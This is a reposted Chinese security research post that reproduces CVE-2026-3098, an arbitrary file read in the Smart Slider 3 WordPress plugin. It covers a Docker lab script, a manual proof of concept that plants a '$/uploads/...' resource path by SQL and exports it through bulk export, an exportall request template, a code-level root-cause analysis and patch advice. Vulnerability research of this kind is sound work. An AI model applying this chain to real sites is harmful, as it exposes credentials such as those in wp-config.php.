SmartSlider3WordPress插件任意文件读取漏洞|CVE-2026-3098复现&研究

admin 2026-04-21 02:11:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: SmartSlider3WordPress插件3.5.1.33及之前版本存在任意文件读取漏洞(CVE-2026-3098),其actionExportAll函数未严格过滤用户输入路径,允许订阅者权限攻击者通过构造特殊路径读取服务器敏感文件如wp-config.php。文档详细提供了Docker环境搭建、Python/手动复现方法、流量特征分析及漏洞原理(路径解析器缺乏安全校验),并演示了通过修改数据库字段和批量导出功能实现文件内容窃取。 综合评分: 85 文章分类: 漏洞分析,WEB安全,实战经验,安全工具


cover_image

Smart Slider 3 WordPress 插件任意文件读取漏洞 | CVE-2026-3098复现&研究

原创

404号浪漫 404号浪漫

404号浪漫

2026年4月1日 21:56 北京

在小说阅读器读本章

去阅读

点击蓝字,关注我们

0x0 背景介绍

Smart Slider 3是一款流行的WordPress动态滑块和页面构建插件。

在3.5.1.33及之前版本中,插件的actionExportAll 函数在处理导出逻辑时未对用户输入的文件路径进行严格过滤。具有订阅者(Subscriber)及以上权限的攻击者可以利用该漏洞读取服务器上的任意文件内容(如 wp-config.php),导致数据库凭据等敏感信息泄露。

漏洞详情

| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 文件读取 | ≤3.5.1.33 | 低 | CVE-2026-3098 |

攻击效果:

  • 原则控制好路径后可以读取任意文件内容。

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

  • ### 老朋友·inshtall.sh
#install.sh#!/bin/bash
# 检查并安装依赖if ! command -v unzip &> /dev/null; then    echo "[*] 安装依赖工具..."    apt update && apt install -y unzip wget curlfi
echo "[*] 阶段1/5:创建漏洞复现目录..."mkdir -p smart-slider-3-cve-2026-3098 && cd smart-slider-3-cve-2026-3098 || { echo "[x] 创建目录失败"; exit 1; }echo "[+] 工作目录: $(pwd)"
echo&nbsp;"[*] 阶段2/5:生成 docker-compose.yml..."cat&nbsp;> docker-compose.yml <<EOFservices:&nbsp; db:&nbsp; &nbsp; image: mysql:8.0&nbsp; &nbsp; container_name: slider-db&nbsp; &nbsp; environment:&nbsp; &nbsp; &nbsp; MYSQL_ROOT_PASSWORD: slider-root-pass&nbsp; &nbsp; &nbsp; MYSQL_DATABASE: wordpress&nbsp; &nbsp; &nbsp; MYSQL_USER: wpuser&nbsp; &nbsp; &nbsp; MYSQL_PASSWORD: slider-user-pass&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - db_data:/var/lib/mysql&nbsp; &nbsp; command: --default-authentication-plugin=mysql_native_password
&nbsp; wordpress:&nbsp; &nbsp; image: wordpress:php7.4-apache&nbsp; &nbsp; container_name: slider-wp&nbsp; &nbsp; ports:&nbsp; &nbsp; &nbsp; - "8091:80" &nbsp;# 修改端口为 8091,避免与本机或其他环境冲突&nbsp; &nbsp; environment:&nbsp; &nbsp; &nbsp; WORDPRESS_DB_HOST: db:3306&nbsp; &nbsp; &nbsp; WORDPRESS_DB_USER: wpuser&nbsp; &nbsp; &nbsp; WORDPRESS_DB_PASSWORD: slider-user-pass&nbsp; &nbsp; &nbsp; WORDPRESS_DB_NAME: wordpress&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - wp_plugins:/var/www/html/wp-content/plugins&nbsp; &nbsp; depends_on:&nbsp; &nbsp; &nbsp; - dbvolumes:&nbsp; db_data:&nbsp; wp_plugins:EOF
echo&nbsp;"[*] 阶段3/5:启动 Docker 环境..."docker compose up -d
echo&nbsp;"[*] 等待服务启动(约60秒)..."for&nbsp;i&nbsp;in&nbsp;{1..12};&nbsp;do&nbsp; &nbsp;&nbsp;echo&nbsp;-n&nbsp;"."&nbsp; &nbsp;&nbsp;sleep&nbsp;5doneecho&nbsp;-e&nbsp;"\n[+] 服务启动完成"
echo&nbsp;"[*] 等待 WordPress 安装页面就绪..."until&nbsp;[&nbsp;"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8091/wp-admin/install.php)"&nbsp;=&nbsp;"200"&nbsp;];&nbsp;do&nbsp; &nbsp;&nbsp;sleep&nbsp;2doneecho&nbsp;"[+] WordPress 已就绪"
echo&nbsp;"[*] 阶段4/5:下载并部署 Smart Slider 3 v3.5.1.32 (漏洞版本)..."
# 修改为 Smart Slider 3 的下载链接PLUGIN_URL="https://downloads.wordpress.org/plugin/smart-slider-3.3.5.1.32.zip"PLUGIN_ZIP="smart-slider-3.3.5.1.32.zip"
rm&nbsp;-rf smart-slider-3&nbsp;"$PLUGIN_ZIP"
# 下载if&nbsp;! wget -q&nbsp;"$PLUGIN_URL"&nbsp;-O&nbsp;"$PLUGIN_ZIP";&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[-] 下载失败,尝试备用镜像..."&nbsp; &nbsp;&nbsp;if&nbsp;! wget -q&nbsp;"https://downloads.wordpress.org/plugin/smart-slider-3.3.5.1.32.zip"&nbsp;-O&nbsp;"$PLUGIN_ZIP";&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"[!] 插件下载失败,请检查网络或插件是否仍可用"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit&nbsp;1&nbsp; &nbsp;&nbsp;fifi
# 解压unzip -q&nbsp;"$PLUGIN_ZIP"
# 验证插件目录存在 (注意目录名是 smart-slider-3)if&nbsp;[ ! -d&nbsp;"smart-slider-3"&nbsp;];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[-] 插件目录未生成,解压失败"&nbsp; &nbsp;&nbsp;ls&nbsp;-la&nbsp; &nbsp;&nbsp;exit&nbsp;1fi
# 复制到容器docker&nbsp;cp&nbsp;smart-slider-3 slider-wp:/var/www/html/wp-content/plugins/
# 修复权限docker&nbsp;exec&nbsp;slider-wp&nbsp;chown&nbsp;-R www-data:www-data /var/www/html/wp-content/plugins/smart-slider-3
# 清理本地rm&nbsp;-rf&nbsp;"$PLUGIN_ZIP"&nbsp;smart-slider-3
# 验证if&nbsp;docker&nbsp;exec&nbsp;slider-wp&nbsp;test&nbsp;-f /var/www/html/wp-content/plugins/smart-slider-3/smart-slider-3.php;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[+] Smart Slider 3 插件部署成功!"else&nbsp; &nbsp;&nbsp;echo&nbsp;"[-] 插件主文件未找到,部署失败"&nbsp; &nbsp; docker&nbsp;exec&nbsp;slider-wp&nbsp;ls&nbsp;-l /var/www/html/wp-content/plugins/smart-slider-3/ ||&nbsp;true&nbsp; &nbsp;&nbsp;exit&nbsp;1fi
echo&nbsp;"=============================================="echo&nbsp;" CVE-2026-3098 漏洞环境部署完成!"echo&nbsp;" &nbsp;- 访问站点: http://localhost:8091"echo&nbsp;" &nbsp;- 首次访问时请完成 WordPress 安装"echo&nbsp;" &nbsp; &nbsp;* 站点标题: Smart Slider 3 - CVE-2026-3098"echo&nbsp;" &nbsp; &nbsp;* 用户名: admin"echo&nbsp;" &nbsp; &nbsp;* 密码: 自定义强密码(务必记住)"echo&nbsp;" &nbsp; &nbsp;* 邮箱: [email protected]"echo&nbsp;""echo&nbsp;" &nbsp;- 安装步骤:"echo&nbsp;" &nbsp; &nbsp;1. 完成安装后登录后台"echo&nbsp;" &nbsp; &nbsp;2. 进入 '插件' -> 启用 'Smart Slider 3'"echo&nbsp;"=============================================="

0x2 漏洞复现

前置条件

| 条件 | 说明 | | — | — | | 具有Subscriber(订阅者)级别及权限 | 取决于你站点ACL/角色映射)进入Smart Slider 3后台管理页,确保可访问”滑块管理”界面以及导出操作入口。 | | 插件为影响版本 | 及小于等于3.5.1.33 |

2.1-复现过程

  • python验证
&nbsp;#需要提前准备好账密,在脚本中配置&nbsp;https://github.com/Kai-One001/cve-/blob/main/WordPress_plugin_Smart_Slider_CVE-2026-3098.py

  • 手动验证-最小化验证方法(安全替代 payload)
# 1. 进入容器docker exec-it slider-wp&nbsp;# 2. 创建测试目录和文件 (内容写为 "VULNERABILITY TEST SUCCESS")mkdir&nbsp;-p /var/www/html/wp-content/uploads/ss3_auditecho&nbsp;"VULNERABILITY TEST SUCCESS - FLAG{123456}">/var/www/html/wp-content/uploads/ss3_audit/test.txt# 3. 确认文件存在192021root@41139d75bbfd:/var/www/html#&nbsp;ls&nbsp;-l /var/www/html/wp-content/uploads/ss3_audit/total 4-rw-r--r-- 1 root root 42 Mar 31 10:23 test.txt# 4.数据库验证POC已嵌入+----+------------------------------+------------------------------+|&nbsp;id&nbsp;| thumbnail &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| background_image &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |+----+------------------------------+------------------------------+| &nbsp;6 | $/uploads/ss3_audit/test.txt | $/uploads/ss3_audit/test.txt |+----+------------------------------+------------------------------+1 row&nbsp;in&nbsp;set&nbsp;(0.00 sec)# 4.1 POC如何嵌入呢大致是进入插件-新增模板-添加轮播图-添加背景图,进行嵌入,其实忘记截图了...POC为:$/uploads/ss3_audit/test.txt# 4.2 数据库修改也中mysql> UPDATE wp_nextend2_smartslider3_slidesSET &nbsp;thumbnail =&nbsp;'$/uploads/ss3_audit/test.txt',&nbsp; params = JSON_SET(params,&nbsp;'$.backgroundImage',&nbsp;'$/uploads/ss3_audit/test.txt')&nbsp; WHERE slider = 3 AND&nbsp;id&nbsp;= 6;
&nbsp;mysql> SELECT &nbsp; &nbsp;&nbsp;id, &nbsp; &nbsp; thumbnail, &nbsp; &nbsp; JSON_UNQUOTE(JSON_EXTRACT(params,&nbsp;'$.backgroundImage')) as background_image FROM &nbsp; &nbsp; wp_nextend2_smartslider3_slides WHERE &nbsp; &nbsp; slider = 3;&nbsp;+----+------------------------------+------------------------------+&nbsp;|&nbsp;id&nbsp;| thumbnail &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| background_image &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;+----+------------------------------+------------------------------+&nbsp;| &nbsp;6 | $/uploads/ss3_audit/test.txt | $/uploads/ss3_audit/test.txt |&nbsp;+----+------------------------------+------------------------------+&nbsp;1 row&nbsp;in&nbsp;set&nbsp;(0.00 sec)&nbsp;mysql>
&nbsp;# 5. 验证成功读取返回-选中-批量导出-修改zip-解压

附一张其他顶雷图(●’◡’●)

#

2.2 场景 :扩大危害

  • 老规矩,验证成功后进行危害扩大读取config.php

2.3 场景-理论:扩大导出范围验证(inSearch 扩大数据集)

  • inSearch=1时,后端actionExportAll()会把$groupID设置为'*',导出集合更可能包含你”已污染的Slider”
  • 验证方式:只需把inSearch切换到1观察导出范围变化及文件读取行为是否更容易触发。

2.4-复现流量特征 (PCAP)

  • 写入动作是明文,不过进行了base加密,想要看拿到了什么数据可能需要解码检测

  • 请求下载能看见文件名,不过内容无法发现


0x3 漏洞原理分析

3.1-架构与模块定位(入口到落地)

  • 先列出来清单和思路

| | | — | | |

| 层级 | 核心文件 | 角色(在漏洞链条中的职责) | | — | — | — | | 入口层(路由/控制器) | Nextend\SmartSlider3\Application\Admin\Sliders\ControllerSliders.php | actionExportAll() 解析请求参数并批量调用导出 | | 逻辑层(导出引擎) | Nextend\SmartSlider3\BackupSlider\ExportSlider.php | create() 组装 ZIP;对”资源路径”执行 file_get_contents() | | 路径解析器 | Nextend\Framework\ResourceTranslator\ResourceTranslator.php | toPath() 资源别名到文件路径的字符串前缀替换(无规范化/无逃逸控制) | | URL->Path 映射 | Nextend\Framework\Filesystem\WordPress\WordPressFilesystem.phpNextend\Framework\Filesystem\AbstractPlatformFilesystem.php | 仅做 URL 前缀替换,不做 .. 折叠与安全边界校验 | | 工具类(URL 处理) | Nextend\Framework\Url\AbstractPlatformUrl.php | relativetoabsolute() 拼接 base/current base,缺少路径安全化 |

3.2-入口,批量导出路由的”失守”:

首先呢,还是根据线索actionExportAll入手,在入口控制器里锁定最后一道”导出触发”点:

// ControllerSliders.php&nbsp; &nbsp;&nbsp;protected&nbsp;function&nbsp;actionExportAll()&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$slidersModel&nbsp;=&nbsp;new&nbsp;ModelSliders($this);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$groupID&nbsp; &nbsp; &nbsp; = (Request::$REQUEST->getVar('inSearch',&nbsp;false)) ?&nbsp;'*'&nbsp;:&nbsp;Request::$REQUEST->getInt('currentGroupID',&nbsp;0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$sliders&nbsp; &nbsp; &nbsp; =&nbsp;$slidersModel->getAll($groupID,&nbsp;'published');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$ids&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;Request::$REQUEST->getVar('sliders');
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$files&nbsp; &nbsp; &nbsp; =&nbsp;array();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$saveAsFile&nbsp;=&nbsp;count($ids) ==&nbsp;1&nbsp;?&nbsp;false&nbsp;:&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ........&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$export&nbsp; =&nbsp;new&nbsp;ExportSlider($this,&nbsp;$slider['id']);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$files[] =&nbsp;$export->create($saveAsFile);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$zip&nbsp;=&nbsp;new&nbsp;Creator();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;foreach&nbsp;($files&nbsp;as&nbsp;$file) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$zip->addFile(file_get_contents($file),&nbsp;basename($file));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;unlink($file);&nbsp; &nbsp; &nbsp; &nbsp; }
  • 权限/令牌校验缺失:函数不调用validatePermission()也不调用validateToken()。对比同文件中的actionImport(),它明确调用了权限校验(smartslider_edit
  • 导出集合可被放大:inSearch=1时,$groupID被直接设为 '*',导致导出集合扩大,进而更容易包含攻击者可控数据(例如已配置了恶意资源字段的Slider)。
  • 导出结果被二次读取:虽然file_get_contents($file)读取的是由导出系统生成的.ss3文件,但真正的风险已经在下游导出方法中发生:它在创建ZIP时会把”解析为本地路径的资源”直接塞入ZIP内容。

这一步只做了”触发放大器”,真正的任意文件读取落地在下一层。

HTTP Request&nbsp; ->&nbsp;ControllerSliders::actionExportAll&nbsp; &nbsp; &nbsp;(注入点:inSearch、sliders[] 影响导出范围与选择)&nbsp; &nbsp; &nbsp;->&nbsp;ExportSlider::create($saveAsFile)&nbsp; &nbsp; &nbsp; &nbsp; (注入点在 Slider 配置的图片/资源字段)&nbsp; &nbsp; &nbsp; &nbsp; ->&nbsp;ResourceTranslator::toPath&nbsp;/&nbsp;Filesystem::absoluteURLToPath&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(边界缺失:字符串替换,无规范化与逃逸控制)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;->&nbsp;file_get_contents($file) &nbsp;(爆发点:读取外部文件内容进入 ZIP)&nbsp; &nbsp; &nbsp;-> ControllerSliders 再读回导出文件打包返回(放大泄露面)

3.3-资源”路径解析”缺少安全边界:

接着追踪$export->create($saveAsFile)的实现。也可以把它理解成:导出系统会把Slider的图片资源收集起来,然后把这些资源当作”文件”打进ZIP。

//ExportSlider.php 中,资源到文件读取的关键段落如下:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$usedNames&nbsp;=&nbsp;array();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;foreach&nbsp;($this->images&nbsp;as&nbsp;$image) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$file&nbsp;=&nbsp;ResourceTranslator::toPath($image);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Filesystem::fileexists($file)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$fileName&nbsp;=&nbsp;strtolower(basename($file));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->backup->imageTranslation[$image] =&nbsp;$fileName;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$zip->addFile(file_get_contents($file),&nbsp;'images/'&nbsp;.&nbsp;$fileName);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
  • 最后失守的防线不是file_get_contents本身,而是它之前那句 ResourceTranslator::toPath($image)把”资源字符串”直接转换为”文件系统路径”
  • 所以看toPath()字符串拼接即读文件

接着检查ResourceTranslator::toPath(),它呢实现是”前缀匹配 + 拼接”,没有做任何安全规范化(realpath折叠)与逃逸验证

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;function&nbsp;toPath($resourcePath)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;foreach&nbsp;(self::$resources&nbsp;as&nbsp;$resourceIdentifier) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$keyword&nbsp;=&nbsp;$resourceIdentifier->getKeyword();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(strpos($resourcePath,&nbsp;$keyword) ===&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;str_replace('/', DIRECTORY_SEPARATOR,&nbsp;$resourceIdentifier->getPath() .&nbsp;substr($resourcePath,&nbsp;strlen($keyword)));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$resourcePath;&nbsp; &nbsp; }
  • 该类初始化时还会注册资源别名:
&nbsp; &nbsp; protected function init() {&nbsp; &nbsp; &nbsp; &nbsp; self::$isProtocolRelative = !!Settings::get('protocol-relative',&nbsp;1);&nbsp; &nbsp; &nbsp; &nbsp; self::createResource('$', Filesystem::getBasePath(), Url::getBaseUri());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Image::getInstance();&nbsp; &nbsp; }
  • '$' => Filesystem::getBasePath()见 init()$符号映射的是Filesystem::getBasePath()
  • 在WordPress环境中,getBasePath()通常返回的是wp-content目录
  • 意味着只要攻击者让某个资源值以$开头,toPath()就会把后续内容原样拼到base path后面。
  • 边界缺失的直接后果:当资源字符串包含诸如目录逃逸片段时(例如../形式),导出引擎只用is_file(Filesystem::fileexists)来判断文件是否存在,并不对路径是否仍位于允许目录做约束
  • 因此,file_get_contents($file)可能读取到base目录之外的任意文件内容并被打ZIP。

3.4-关键入口与请求参数形态

前端导出按钮会跳转到exportAllUrl,并把以下参数拼到查询串中:

  • sliders:本次勾选的滑块id列表(ManageSliders.prototype.exportSliders处构造)
  • inSearch:是否来自搜索态(控制服务端是否用'*'扩大导出范围)

前端构造逻辑的关键片段

//来自 smartslider-backend.jswindow.location.href = _N2.N2QueryString.add_query_arg({&nbsp;sliders: ids,&nbsp;inSearch:this.isInSearch},this.exportAllUrl);

后端的路由层把sliders/exportAll映射到:

  • nextendcontroller=sliders
  • nextendaction=exportall(由路由器lower-case处理)

HTTP 请求”结构骨架”(只展示关键字段,nextend_nonce需为你环境中实际生成的值)所以请求下载的构造为:

GET /<your-admin-page>?nextendcontroller=sliders&nextendaction=exportall¤tGroupID=<GROUP_ID>&sliders[]=<SLIDER_ID>&inSearch=<0|1>&nextend_nonce=<TOKEN>

3.5-攻击链路-从注入资源到”读取落地”的闭环:

最后,也看下”资源值来自哪里来”,确保链路不是是真实的。

ExportSlider::create()中,$this->images并不是固定列表,它会从Slider的字段持续累积

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self::addImage($this->backup->slider['thumbnail']);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;($i&nbsp;=&nbsp;0;&nbsp;$i&nbsp;<&nbsp;count($this->backup->slides);&nbsp;$i++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$slide&nbsp;=&nbsp;$this->backup->slides[$i];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self::addImage($slide['thumbnail']);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$slide['params'] =&nbsp;new&nbsp;Data($slide['params'],&nbsp;true);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self::addImage($slide['params']->get('backgroundImage'));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self::addImage($slide['params']->get('ligthboxImage'));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($slide['params']->has('link')) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self::addLightbox($slide['params']->get('link'));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($slide['params']->has('href')) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self::addLightbox($slide['params']->get('href'));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
  • 资源描述是只能指向”站点允许的图片资源目录/资源别名”
  • 只要文件存在,就可以安全读取并打入ZIP

而实际实现缺失了:

  • 路径规范化:导出读取前没用realpath折叠与重新校验目录边界。
  • 逃逸控制:ResourceTranslator::toPath与Filesystem::*ToPath只做字符串拼接/替换,不处理../等逃逸场景。
  • 二次校验缺失:即使做过”basepath前缀检查”,也仍存在未覆盖的分支落点(例如 replaceHTMLImage()中最终仍允许file_get_contents($path)

进一步看这个证据:replaceHTMLImage()也会把解析后的路径直接喂给file_get_contents

&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;replaceHTMLImage($found)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$path&nbsp;=&nbsp;Filesystem::absoluteURLToPath(self::addProtocol($found[2]));&nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(strpos($path,&nbsp;Filesystem::getBasePath()) !==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$imageUrl&nbsp;=&nbsp;Url::relativetoabsolute($path);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$path&nbsp; &nbsp; &nbsp;=&nbsp;Filesystem::absoluteURLToPath($imageUrl);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Filesystem::fileexists($path)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->files['images/'&nbsp;.&nbsp;$fileName] =&nbsp;file_get_contents($path);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->imageTranslation[$path] &nbsp; &nbsp; &nbsp;=&nbsp;$fileName;
  • 导出系统把”资源字符串”当作”可直接读取的文件路径”,并且整个链路都缺乏规范化与目录边界校验。
  • 这样就变成actionExportAll作为放大入口,只要能诱导导出到包含恶意资源字段的Slider,就能造成任意文件读取并以ZIP形式回传出来
  • ### 相当于``ExportSlider::create把可控值喂给解析器

#


0x4 修复建议

1、升级最新版本:将插件升级安全版本3.5.1.34

#站点后台-已安装插件-升级 &nbsp;或者看官方提示https://smartslider3.com/free/

2、临时防护措施:

  • 减少暴露面:若业务不需要导出功能,可先禁用该后台功能入口,减少可利用面
  • 防火墙 / WAF:监控包含nextendaction=exportall的请求,对异常频率进行限速,结合sliders[] 与 inSearch参数的组合异常进行告警/拦截
  • 限制访问:对nextendcontroller=sliders&nextendaction=exportall进行访问控制,仅允许后台已登录且满足权限的会话访问
  • 权限最小化:站点全部权限最小化,设置强密码避免盗刷。

/**又是到了经典的周三环节,快则周末,慢则刚刚上班三天**/

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:404号浪漫 404号浪漫 404号浪漫《Smart Slider 3 WordPress 插件任意文件读取漏洞 | CVE-2026-3098复现&研究》

评论:0   参与:  0